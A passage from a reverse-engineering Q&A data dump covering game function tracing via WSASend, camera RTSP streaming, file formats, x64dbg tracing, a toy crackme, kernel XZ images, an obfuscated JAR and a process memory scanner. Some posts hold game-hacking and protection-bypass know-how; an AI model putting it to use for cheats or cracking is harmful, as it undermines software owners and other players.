  <row Id="23548" PostTypeId="1" CreationDate="2020-03-27T23:05:30.180" Score="0" ViewCount="279" Body="&lt;p&gt;I'm trying to make my first DLL calling game functions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I need is tracing functions that call &lt;code&gt;WSASend&lt;/code&gt;, so it will be easy for me to get all functions address to call them from my DLL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is to call game functions, so if I can trace when WSASend is called, then return to the function that called it, I will be able to get all functions I need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My final goal is getting all functions addressess like SendWalk, ChangeLookDir, Attack, Follow, MoveItem, DropItem, etc... all of them are calling WSASend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is how the game module is calling the &lt;code&gt;WSASend&lt;/code&gt; function:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Qtc0G.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qtc0G.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I get from logging calls to WSASend:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VD5VT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VD5VT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the game is sending packets all time, so if I put a breakpoint in that call it will pause everytime and I won't be able to make anything in game.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading the &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/winsock2/nf-winsock2-wsasend&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;WSASend&lt;/code&gt; documentation&lt;/a&gt;, I understand that maybe what I need is the buffer, so I can filter the parameter &lt;code&gt;lpBuffers&lt;/code&gt; maybe setting a conditional breakpoint and hopefully the buffer will be the same in that packets that are sent every 1 sec (I'm not sure about what I'm saying)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm a beginner so if I can improve in any way this question let me know, maybe I'm missing any detail that would help you to help me :)&lt;/p&gt;&#xA;" OwnerUserId="30207" LastEditorUserId="30207" LastEditDate="2020-03-28T13:07:02.970" LastActivityDate="2020-03-28T13:07:02.970" Title="Reversing WSASend finding functions that called it" Tags="|debugging|x64dbg|game-hacking|packet|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23549" PostTypeId="1" CreationDate="2020-03-28T00:51:11.153" Score="3" ViewCount="3786" Body="&lt;p&gt;I'm trying to stream video from endoscope camera &lt;code&gt;YPC99&lt;/code&gt; on linux PC using the WiFi connection. From what I have found so far the camera is using IP 192.168.1.1. It supports &lt;code&gt;RTSP&lt;/code&gt; protocol on port 7070 (the only one opened port).&#xA;The &lt;code&gt;DESCRIBE&lt;/code&gt; reports that the stream should be JPEG video (&lt;code&gt;RTP/AVP 26&lt;/code&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DESCRIBE rtsp://192.168.1.1:7070/webcam RTSP/1.0&#xA;CSec: 2&#xA;&#xA;RTSP/1.0 200 OK&#xA;Content-Base: rtsp://192.168.1.1:7070/webcam/&#xA;Content-Type: application/sdp&#xA;Content-Length: 122&#xA;&#xA;v=0&#xA;o=- 1 1 IN IP4 127.0.0.1&#xA;s=Test&#xA;a=type:broadcast&#xA;t=0 0&#xA;c=IN IP4 0.0.0.0&#xA;m=video 0 RTP/AVP 26&#xA;a=control:track0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;VLC&lt;/code&gt; is showing black screen. &lt;code&gt;ffmpeg&lt;/code&gt; also can't detect the correct codec to be used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ffmpeg -i rtsp://192.168.1.1:7070/webcam  -vcodec copy /tmp/abc.mp4&#xA;ffmpeg version n4.2.2 Copyright (c) 2000-2019 the FFmpeg developers&#xA;  built with gcc 9.3.0 (Arch Linux 9.3.0-1)&#xA;  configuration: --prefix=/usr --disable-debug --disable-static --disable-stripping --enable-fontconfig --enable-gmp --enable-gnutls --enable-gpl --enable-ladspa --enable-libaom --enable-libass --enable-libbluray --enable-libdav1d --enable-libdrm --enable-libfreetype --enable-libfribidi --enable-libgsm --enable-libiec61883 --enable-libjack --enable-libmfx --enable-libmodplug --enable-libmp3lame --enable-libopencore_amrnb --enable-libopencore_amrwb --enable-libopenjpeg --enable-libopus --enable-libpulse --enable-libsoxr --enable-libspeex --enable-libssh --enable-libtheora --enable-libv4l2 --enable-libvidstab --enable-libvorbis --enable-libvpx --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxcb --enable-libxml2 --enable-libxvid --enable-nvdec --enable-nvenc --enable-omx --enable-shared --enable-version3&#xA;  libavutil      56. 31.100 / 56. 31.100&#xA;  libavcodec     58. 54.100 / 58. 54.100&#xA;  libavformat    58. 29.100 / 58. 29.100&#xA;  libavdevice    58.  8.100 / 58.  8.100&#xA;  libavfilter     7. 57.100 /  7. 57.100&#xA;  libswscale      5.  5.100 /  5.  5.100&#xA;  libswresample   3.  5.100 /  3.  5.100&#xA;  libpostproc    55.  5.100 / 55.  5.100&#xA;[mjpeg @ 0x55ef344d0900] dqt: 0 quant value&#xA;    Last message repeated 58 times&#xA;[rtsp @ 0x55ef344ccfc0] decoding for stream 0 failed&#xA;[rtsp @ 0x55ef344ccfc0] Could not find codec parameters for stream 0 (Video: mjpeg, none(bt470bg/unknown/unknown)): unspecified size&#xA;Consider increasing the value for the 'analyzeduration' and 'probesize' options&#xA;Input #0, rtsp, from 'rtsp://192.168.1.1:7070/webcam':&#xA;  Metadata:&#xA;    title           : Test&#xA;  Duration: N/A, start: 0.000000, bitrate: N/A&#xA;    Stream #0:0: Video: mjpeg, none(bt470bg/unknown/unknown), 90k tbr, 90k tbn, 90k tbc&#xA;[mp4 @ 0x55ef344fcc40] dimensions not set&#xA;Could not write header for output file #0 (incorrect codec parameters ?): Invalid argument&#xA;Stream mapping:&#xA;  Stream #0:0 -&amp;gt; #0:0 (copy)&#xA;    Last message repeated 1 times&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have a &lt;code&gt;wireshark&lt;/code&gt; dump of some seconds of streaming (while was trying to play it with VLC). From what I have read each frame should start with &lt;code&gt;FFD8&lt;/code&gt; and should end with &lt;code&gt;FFD9&lt;/code&gt;. There is no single package containing &lt;code&gt;FFD8&lt;/code&gt; but there are many containing &lt;code&gt;FFD9&lt;/code&gt;, so I can't find out the beginning of the frame to see if some headers there could help me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;code&gt;andorid&lt;/code&gt; and &lt;code&gt;iPhone&lt;/code&gt; apps to watch the stream from the camera. The app is called &lt;code&gt;YCamera&lt;/code&gt;. I have downloaded the andorid app (&lt;a href=&quot;https://apkpure.com/ycamera/cn.com.buildwin.YCamera&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://apkpure.com/ycamera/cn.com.buildwin.YCamera&lt;/a&gt;) and have de-compile it. In the resources directory there are the following libs:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;libijkffmpeg.so&lt;/li&gt;&#xA;&lt;li&gt;libijkplayer.so&lt;/li&gt;&#xA;&lt;li&gt;libijksdl.so&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It seems that &lt;code&gt;libijkffmpeg.so&lt;/code&gt; is the one processing the stream (the string &lt;code&gt;bt470bg&lt;/code&gt; is found only inside it). According my research (for this one I'm not sure if I'm looking where I should) it's part of &lt;code&gt;ijkplayer&lt;/code&gt; player that should be based on &lt;code&gt;ffmpeg&lt;/code&gt; but strangely &lt;code&gt;ffmpeg&lt;/code&gt; can't recognize the stream.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that my question is too open but any suggestions how can I keep progressing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The final goal is to be able to make this stream public. For this purpose it will be best if &lt;code&gt;ffmpeg&lt;/code&gt; or &lt;code&gt;vlc&lt;/code&gt; can recognize the stream.&lt;/p&gt;&#xA;" OwnerUserId="31553" LastActivityDate="2021-03-31T17:24:25.543" Title="Endoscope Camera YPC99 - how to stream on linux" Tags="|linux|android|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="23550" PostTypeId="2" ParentId="22838" CreationDate="2020-03-28T02:48:33.743" Score="4" Body="&lt;p&gt;I reversed 99% of the .ART file this week, here you go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// header&#xA;4 bytes - total of images&#xA;&#xA;// file offsets directory&#xA;  // for each image&#xA;  4 bytes - image offset in directory&#xA;&#xA;// images directory&#xA;  // for each image&#xA;  4 bytes - magic (gxtx)&#xA;  2 bytes - width&#xA;  2 bytes - height&#xA;  4 bytes - image data size&#xA;  2 bytes - unknown&#xA;  2 bytes - compression type (10 = DXT1 | 11 = DXT3)&#xA;  X bytes - image data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="31554" LastEditorUserId="31554" LastEditDate="2020-04-02T03:36:37.227" LastActivityDate="2020-04-02T03:36:37.227" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23551" PostTypeId="2" ParentId="22838" CreationDate="2020-03-28T02:54:51.003" Score="0" Body="&lt;p&gt;I've made some research and found that the textures uses one of these formats, depending on the 2 bytes value the texture has (10, 11, 4, 5, 0 or 2063): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;DXT1, DXT3, A8R8G8B8, A4R4G4B4, R5G6B5, A1R5G5B5&quot;&lt;/p&gt;&#xA;" OwnerUserId="31555" LastEditorUserId="31555" LastEditDate="2020-04-01T16:14:52.037" LastActivityDate="2020-04-01T16:14:52.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23552" PostTypeId="1" CreationDate="2020-03-28T07:37:19.110" Score="0" ViewCount="96" Body="&lt;p&gt;I have a Windows GUI x86 executable and I have identified, in the &lt;code&gt;.rsrc&lt;/code&gt; section, where the error string I want to trace is. Let's assume it is in &lt;code&gt;id=83Ah&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set a &lt;code&gt;bpx user32:LoadStringA&lt;/code&gt; and then a break condition &lt;code&gt;breakif([esp+8] == 83A)&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The BP fires correctly, when required. My problem now is how to identify which user code took the decision to load the string. For example, imagine this situation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(....) {&#xA;   displayError()  &amp;lt;-- This will call LoadString at some point &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am able to break on the &lt;code&gt;LoadString&lt;/code&gt;, but when I RET, I get to a function that is used in many other code sections (such as &lt;code&gt;AfxMessageBox&lt;/code&gt;). And I RET again and it is also a function that is used by many other code sections (like a Windows dispatcher)... and so on and so forth until I get lost without knowing where the user code that triggered the message is. I avoid system DLLs, but the portions of user code I land in look very generic and shared by other GUI components.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is for example the &lt;code&gt;Call Stack&lt;/code&gt; of my program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Address  To       From     Size     Comment            Party &#xA;0019EF84 0041FA5E 76AC8BA0 58       user32.76AC8BA0    User&#xA;0019EFDC 004037C1 0041FA5E 24       s3.sub_41FA42+1C   User&#xA;0019F000 0041EE3D 004037C1 30       s3.sub_4037B0+11   User&#xA;0019F030 0041DCE0 0041EE3D 24       s3.0041EE3D        User&#xA;0019F054 00421883 0041DCE0 50       s3.sub_41DCC5+1B   User&#xA;0019F0A4 004210A3 00421883 A8       s3.sub_421820+63   User&#xA;0019F14C 00421050 004210A3 24       s3.sub_421073+30   User&#xA;0019F170 0041FDB9 00421050 6C       s3.sub_42102A+26   User&#xA;0019F1DC 004200BE 0041FDB9 1C       s3.sub_41FD36+83   User&#xA;0019F1F8 76AE5CAB 004200BE 2C       s3.sub_4200A4+1A   System&#xA;0019F224 76AD67BC 76AE5CAB E4       user32.76AE5CAB    System&#xA;0019F308 76AD5F6D 76AD67BC 64       user32.76AD67BC    System&#xA;0019F36C 76AD5C33 76AD5F6D 34       user32.76AD5F6D    System&#xA;0019F3A0 76B008E2 76AD5C33 24       user32.76AD5C33    System&#xA;0019F3C4 76B005DF 76B008E2 28       user32.76B008E2    System&#xA;0019F3EC 76AFFAE8 76B005DF A0       user32.76B005DF    System&#xA;0019F48C 76AFEF92 76AFFAE8 2C       user32.76AFFAE8    System&#xA;0019F4B8 76AE5CAB 76AFEF92 2C       user32.76AFEF92    System&#xA;0019F4E4 76AD67BC 76AE5CAB E4       user32.76AE5CAB    System&#xA;0019F5C8 76AC6C22 76AD67BC 38       user32.76AD67BC    System&#xA;0019F600 004209FA 76AC6C22 20       user32.76AC6C22    User&#xA;0019F620 00421065 004209FA 20       s3.sub_4209B6+44   User&#xA;0019F640 0041FDB9 00421065 6C       s3.sub_42102A+3B   User&#xA;0019F6AC 004200BE 0041FDB9 1C       s3.sub_41FD36+83   User&#xA;0019F6C8 76AE5CAB 004200BE 2C       s3.sub_4200A4+1A   System&#xA;0019F6F4 76AD67BC 76AE5CAB E4       user32.76AE5CAB    System&#xA;0019F7D8 76AD58FB 76AD67BC 74       user32.76AD67BC    System&#xA;0019F84C 76AD97B1 76AD58FB 30       user32.76AD58FB    System&#xA;0019F87C 76ACEB4E 76AD97B1 2C       user32.76AD97B1    System&#xA;0019F8A8 00422C49 76ACEB4E 7C       user32.76ACEB4E    User&#xA;0019F924 0041E194 00422C49 FFE606E0 s3.sub_422C1F+2A   User&#xA;00000004 00000000 0041E194          s3.sub_41E0DC+B8   User&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I initially tried to investigate some close User sections near a System section... but they all seem like shared code that is used when other GUI elements in the application have to be displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what is the best approach to determine where the &lt;code&gt;if(....)&lt;/code&gt; comparison is?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note&lt;/strong&gt;: I am using x64dbg, but the process should not change wrt other debuggers&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="18064" LastEditorUserId="18064" LastEditDate="2020-03-31T02:06:20.087" LastActivityDate="2020-03-31T02:06:20.087" Title="Tracing back the user code section that triggered a message" Tags="|debugging|x64dbg|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23554" PostTypeId="1" AcceptedAnswerId="23555" CreationDate="2020-03-28T09:49:21.440" Score="0" ViewCount="152" Body="&lt;p&gt;&lt;strong&gt;Background:&lt;/strong&gt; I'm a beginner reverse engineer and I wanted to try writing my own c++ programs and reverse-engineering them. I wrote something and I'm not sure a smart way of reversing it. Usually, I can think of it as a math formula and just do it in reverse to figure out the algorithm but I can't think of any other way than brute-forcing for this scenario.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;using namespace std;&#xA;&#xA;int main()&#xA;{&#xA;    char key[9];&#xA;    int total = 0;&#xA;&#xA;    cout &amp;lt;&amp;lt; &quot;Enter Key: &quot;;&#xA;&#xA;    cin &amp;gt;&amp;gt; key;&#xA;&#xA;    for (char item : key)&#xA;    {&#xA;        total = total + (int)item;&#xA;    }&#xA;&#xA;    if (total == 895)&#xA;    {&#xA;        puts(&quot;Correct&quot;);&#xA;    }&#xA;    else&#xA;    {&#xA;        puts(&quot;Sorry buddy&quot;);&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;btw sorry if my c++ isn't very good. I am new to this language haha&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Main Goal:&lt;/strong&gt; I want to know if there is a smarter way of going about this or is brute force the only way. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="31559" LastActivityDate="2020-03-28T21:17:16.377" Title="Smart approach or Brute force?" Tags="|c++|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23555" PostTypeId="2" ParentId="23554" CreationDate="2020-03-28T10:20:30.523" Score="1" Body="&lt;p&gt;Your code basically takes 9 chars, 8 from user input + 1 null terminator.&#xA;each one can be between 0-255.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You char array bytes are &lt;em&gt;signed&lt;/em&gt;, so maximum value for each is 127 (hex: 7F)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You want the result of those byte values to end up equal to 895.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to achieve the result, you need to pass any combination of bytes that sum up to your value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&#xA;127*7+6 = 895&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hex:&#xA;\x7F\x7F\x7F\x7F\x7F\x7F\x7F\x06&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will solve your algorithm:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;echo 7f7f7f7f7f7f7f06 | xxd -r -p|./compiled_executable&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;xxd -r -p&lt;/code&gt; simply takes hex values and converts them to chars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that the max value your input can end up with is 1016. More than that - nothing will solve it and it will always fail.&lt;/p&gt;&#xA;" OwnerUserId="30213" LastActivityDate="2020-03-28T10:20:30.523" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23557" PostTypeId="2" ParentId="23547" CreationDate="2020-03-28T13:07:10.970" Score="0" Body="&lt;p&gt;A cursory check of the matter based on the 5.5.13 stable kernel sources revealed within a matter of minutes that a special program called &lt;code&gt;xzkern&lt;/code&gt; is used for the purpose. Excerpt from &lt;code&gt;scripts/Makefile.lib&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# XZ&#xA;# ---------------------------------------------------------------------------&#xA;# Use xzkern to compress the kernel image and xzmisc to compress other things.&#xA;#&#xA;# xzkern uses a big LZMA2 dictionary since it doesn't increase memory usage&#xA;# of the kernel decompressor. A BCJ filter is used if it is available for&#xA;# the target architecture. xzkern also appends uncompressed size of the data&#xA;# using size_append. The .xz format has the size information available at&#xA;# the end of the file too, but it's in more complex format and it's good to&#xA;# avoid changing the part of the boot code that reads the uncompressed size.&#xA;# Note that the bytes added by size_append will make the xz tool think that&#xA;# the file is corrupt. This is expected.&#xA;#&#xA;# xzmisc doesn't use size_append, so it can be used to create normal .xz&#xA;# files. xzmisc uses smaller LZMA2 dictionary than xzkern, because a very&#xA;# big dictionary would increase the memory usage too much in the multi-call&#xA;# decompression mode. A BCJ filter isn't used either.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am posting this as community wiki as it's not a proper answer, but too big for a mere comment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally you can find details in &lt;code&gt;Documentation/xz.txt&lt;/code&gt; within the kernel source tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Either way it looks as if you're looking for &lt;code&gt;xzmisc&lt;/code&gt; or perhaps (but less likely) &lt;code&gt;xzkern&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, given that binwalk reports the PE file format I am wondering if this is some UEFI-related image. More details would help to give a definitive answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this should help with some of the known puzzle pieces.&lt;/p&gt;&#xA;" OwnerUserId="245" LastActivityDate="2020-03-28T13:07:10.970" CommentCount="0" CommunityOwnedDate="2020-03-28T13:07:10.970" ContentLicense="CC BY-SA 4.0" />
  <row Id="24556" PostTypeId="2" ParentId="23547" CreationDate="2020-03-28T15:16:17.323" Score="1" Body="&lt;p&gt;Thanks for the pointers. At least the xz.txt answers one of my questions, which is why the XZ util won't work to decompress. Although I still don't think what binwalk extracts is the exact XZ file generated by kernel make process. More on that below.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The kernel is a UEFI enabled kernel, so I'm guessing the first PE image is the EFI stub. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specific version I'm dealing with is 4.19.36.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked at the Makefile.lib. And if I understand it correctly, this is the command that is run for XZKERN:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;cmd_xzkern = (cat $(filter-out FORCE,$^) | \&#xA;    sh $(srctree)/scripts/xz_wrap.sh &amp;&amp; \&#xA;    $(call size_append, $(filter-out FORCE,$^))) &gt; $@ || \&#xA;    (rm -f $@ ; false)&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In other words:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA; cat CPIOFile | xz_wrap.sh &amp;&amp; size_append(CPIOFile) &gt; output.xz&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If we look at xz_wrap.sh, it appears to be doing this for X86 platforms&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&#xA;xz --check=crc32 --x86 --lzma2=,dict=32MiB&#xA;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So it would strike me that in my scenario, if I ran the following command I should be able to generate an XZ file very close (except for the size length appended) to that extracted via Binwalk:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;cat 41B1 | xz --check=crc32 --x86 --lzma2=,dict=32MiB &gt; 41B1.xz&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But the file generated in this scenario is 20KB smaller than the original file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what's interesting is that when I do a hexdump on the original file, I can see there is a ton of 0x00 padding and even some strings embedded in there (which of course is weird since its an XZ file). This makes me think that what binwalk extracts isn't exactly the XZ file generated in the make process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, here is a link to the Kernel image, if anyone else wants to take a crack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://ufile.io/pjkx79e4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://ufile.io/pjkx79e4&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I also add that I'm not sure xzmisc is the right command to run. But in any event, it generates an even larger XZ file than the original.&lt;/p&gt;&#xA;" OwnerUserId="31552" LastActivityDate="2020-03-28T15:16:17.323" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24559" PostTypeId="2" ParentId="23554" CreationDate="2020-03-28T21:17:16.377" Score="1" Body="&lt;p&gt;The question is not clear. Are you asking about&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;an approach to finding a single input that results in &quot;Correct&quot; being printed? or&lt;/li&gt;&#xA;&lt;li&gt;an approach to deriving a method that will generate correct inputs for you (e.g. keygenning)?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If it is 1, then the answer is as simple as using a calculator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is 2, then many options exist, such as using a constraint solver (z3, angr, KLEE).&lt;/p&gt;&#xA;" OwnerUserId="18317" LastActivityDate="2020-03-28T21:17:16.377" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24561" PostTypeId="1" CreationDate="2020-03-29T02:27:28.933" Score="1" ViewCount="690" Body="&lt;p&gt;I'm trying to get classes from JAR file / actually running JVM machine but:&lt;/p&gt;&#xA;&lt;p&gt;When I'm trying to open JAR file using for example 7Zip I dont see any classes. After unzip Manifest file is empty too.&lt;/p&gt;&#xA;&lt;p&gt;When I'm trying to &amp;quot;dump&amp;quot; classes from running JVM machine, I got &amp;quot;very funny&amp;quot; named - empty classes (not really empty, but contains info like &amp;quot;gtfo&amp;quot; etc..)&lt;/p&gt;&#xA;&lt;p&gt;JD-Gui showed nothing - just nothing.&lt;/p&gt;&#xA;&lt;p&gt;Around month ago, when I tried to open it using 7Zip, there was classes with same name, and custom extension.&lt;/p&gt;&#xA;&lt;p&gt;What should I do, and what tools do You recommend for actions like this?&lt;/p&gt;&#xA;&lt;p&gt;Link: &lt;a href=&quot;https://drive.google.com/file/d/1qhfEXu-ITQLW1mi55hMqnHmWt9BM5ur3/view&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/file/d/1qhfEXu-ITQLW1mi55hMqnHmWt9BM5ur3/view&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;EDIT: Every decompiler I tested show info like this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;mv.visitMethodInsn(INVOKESTATIC, &amp;quot;net/minecraft/client/main/Main&amp;quot;,&#xA;&amp;quot;\u0000extends throws try goto 8 \n 9 * package * + finally return&#xA;static * &amp;quot; float abstract | transient \n synchronized catch =&#xA;strictfp transient static extends while final long ! 0 throws &amp;amp; \n %&#xA;double 4 this if const \n interface ' ^ ~ do 1 ] % ? throws super&#xA;long&amp;quot;, &amp;quot;(Ljava/lang/String;)Ljava/lang/String;&amp;quot;, false)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="32570" LastEditorUserId="32570" LastEditDate="2020-11-21T01:49:06.813" LastActivityDate="2020-11-21T01:49:06.813" Title="How can I get classes from &quot;protected&quot; JAR file?" Tags="|java|decompile|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="24562" PostTypeId="1" CreationDate="2020-03-29T05:33:00.373" Score="2" ViewCount="4891" Body="&lt;p&gt;I have IDA Pro 7.4 that use with Python 3.7 and I have some IDA-plugin that works only with Python 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to run that Python 2.7 based plugin?&lt;/p&gt;&#xA;" OwnerUserId="28889" LastEditorUserId="245" LastEditDate="2020-03-29T17:11:02.897" LastActivityDate="2023-03-30T10:31:52.657" Title="Using Python 3.7 and 2.x in same IDA" Tags="|ida|idapython|python|ida-plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24565" PostTypeId="1" AcceptedAnswerId="24571" CreationDate="2020-03-30T01:12:08.060" Score="0" ViewCount="389" Body="&lt;p&gt;In this &lt;a href=&quot;https://github.com/ExtReMLapin/Foretrex601_Research/raw/master/Unknown.bin&quot; rel=&quot;nofollow noreferrer&quot;&gt;firmware&lt;/a&gt; that is ARM Little endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is two strings : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00006953 : Foretrex 701&#xA;0x00006960 : Foretrex 601&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The issue, is there is no direct Xreft to any of thoses strings ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the firmware, it's pretty much the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fuD10.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As IDA cannot find the entry point, to start analyzing the binary (after setting CPU to arm little endian) select all the code (with CTRL+SHIFT+PAGE_DOWN) press C, then &quot;Analyze&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J3Ohq.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="31389" LastActivityDate="2020-03-30T16:54:27.687" Title="In IDA, cannot find xrefs to string in ARM little-endian bootloader/firmware" Tags="|ida|binary-analysis|arm|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24568" PostTypeId="1" CreationDate="2020-03-30T12:31:42.723" Score="0" ViewCount="1160" Body="&lt;p&gt;The reading works fine until it reaches base+27.058.176(bytes) address. At this address VirtualProtect() failes with error 487 (Attempt to access invalid address).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does it return this error? Btw the process uses over 300 MB of memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (vInTokens.size() == 3 &amp;amp;&amp;amp; !vInTokens.at(0).compare(&quot;scan&quot;)) {   // vInTokens holds the command and parameters&#xA;        int valueToScan = std::stoi(vInTokens.at(1));   // param 1&#xA;        Uint offset = std::stoi(vInTokens.at(2));       // param 2&#xA;        hits.clear();   // hits is a global variable of type std::vector. in this vector all addresses with valueToScan should get stored.&#xA;        Uint scans = 0; // tracks the number of integers (4 bytes) read&#xA;        Uint pages = 0; // tracks the number of process pages read&#xA;&#xA;        Uint addr = base;   // base is a global variable that holds the process base address. retrieved with (Uint)GetModuleHandle(NULL)&#xA;        Uint addr_max = base + offset; // 0x7FFFFFFF;&#xA;        MEMORY_BASIC_INFORMATION mbi{};&#xA;&#xA;        while (addr &amp;lt; addr_max) {&#xA;&#xA;            // get page&#xA;            if (VirtualQuery((LPCVOID)addr, &amp;amp;mbi, sizeof(mbi)) == 0) {&#xA;                std::cout &amp;lt;&amp;lt; &quot;Error: VirtualQuery failed with error &quot; &amp;lt;&amp;lt; GetLastError() &amp;lt;&amp;lt; std::endl;&#xA;                break;&#xA;            }&#xA;&#xA;            // update page protection 